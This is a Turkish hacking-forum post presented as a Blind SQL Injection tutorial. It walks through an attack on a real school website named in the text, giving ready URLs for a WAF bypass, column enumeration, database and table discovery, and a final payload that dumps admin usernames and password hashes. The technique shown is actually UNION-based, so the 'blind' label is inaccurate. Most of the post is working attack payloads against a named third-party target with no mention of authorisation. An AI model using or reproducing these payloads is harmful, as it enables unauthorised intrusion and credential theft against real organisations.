Blind SQL Injection: / Temel Kavramlar — 1

Katılım
31 Mar 2021
Tepki puanı
422
Konum
Üsküdar
Rating - 0%
Merhabalar,

Bu yazıda, Blind SQL Injection (Kör SQL Injection) hakkında temel bilgiler ve uygulamalı örnekler üzerinden ilerleyeceğiz. SQL Injection, web uygulamalarındaki veri tabanı sorgularına kötü niyetli müdahaleyi ifade eder ve Blind SQL Injection, hata mesajı vermeden bu zafiyetin kullanılmasıdır.

Blind SQL Injection Nedir?

Blind SQL Injection, web sayfasında hata mesajı alınmadan sayfanın işleyişinin değiştirilmesi veya veri tabanından veri çekilmesidir. Örneğin, bir sayfa üzerinde .php?id=xx şeklinde bir parametre varsa ve URL’ye tırnak işareti (') eklediğimizde sayfadaki bazı içerikler (resimler, metinler) kayboluyorsa, bu durum potansiyel Blind SQL Injection açığını işaret eder.

Uygulamalı Örnekler

Örnek zafiyetli site:
http://www.marywardlubhu.edu.np/gallery.php?cat_id=6
Eğer URL parametresine ' karakteri eklendiğinde sayfadaki resimler veya yazılar görünmüyorsa, bu bir açık olabilir.



WAF Bypass

WAF’ı aşmak için SQL yorumlayıcısına özgü bypass yöntemleri kullanabiliriz:

http://www.marywardlubhu.edu.np/gallery.php?cat_id=6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,4,5,6--+-
Ve zaafiyetli kolonları bulmak için:

http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,4,5,6--+-

Veri Tabanı ve Tabloların Tespiti

Zaafiyetli kolonlardan veri tabanı ismini ve tabloları çekmek için şu sorgu kullanılabilir:

http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,database(),5,6--+-

Tablo isimlerini çekmek için:

http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x6d617279776172645f6d61727977617264),5,6--+-

Kolonların İçeriğini Görüntüleme

Örneğin, tbl_admin tablosundaki sütun isimlerini öğrenmek için:

http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x74626c5f61646d696e),5,6--+-

Veri Çekme Örneği (Username & Password)

Son olarak, kullanıcı adı ve şifreleri çekmek için örnek bir sorgu:

http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(@x)FROM(maryward_maryward.tbl_admin)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x3a,password,0x3c62723e))))x),5,6--+-

Elde edilen çıktı hashlenmiş şifre ve kullanıcı isimlerini içerir.

Sonuç

Bu örneklerle, Blind SQL Injection açığının nasıl tespit edileceği, kolon sayısının nasıl bulunacağı, WAF bypass teknikleri ve veri çekme yöntemleri hakkında temel bir bakış açısı kazandık.
Bu konuyla ilgili detaylı görsel ve video anlatımlar paylaşarak ilerleyeceğim.
 
131,526Konular
3,268,982Mesajlar
315,338Kullanıcılar
BasGecSon Üye
Üst Alt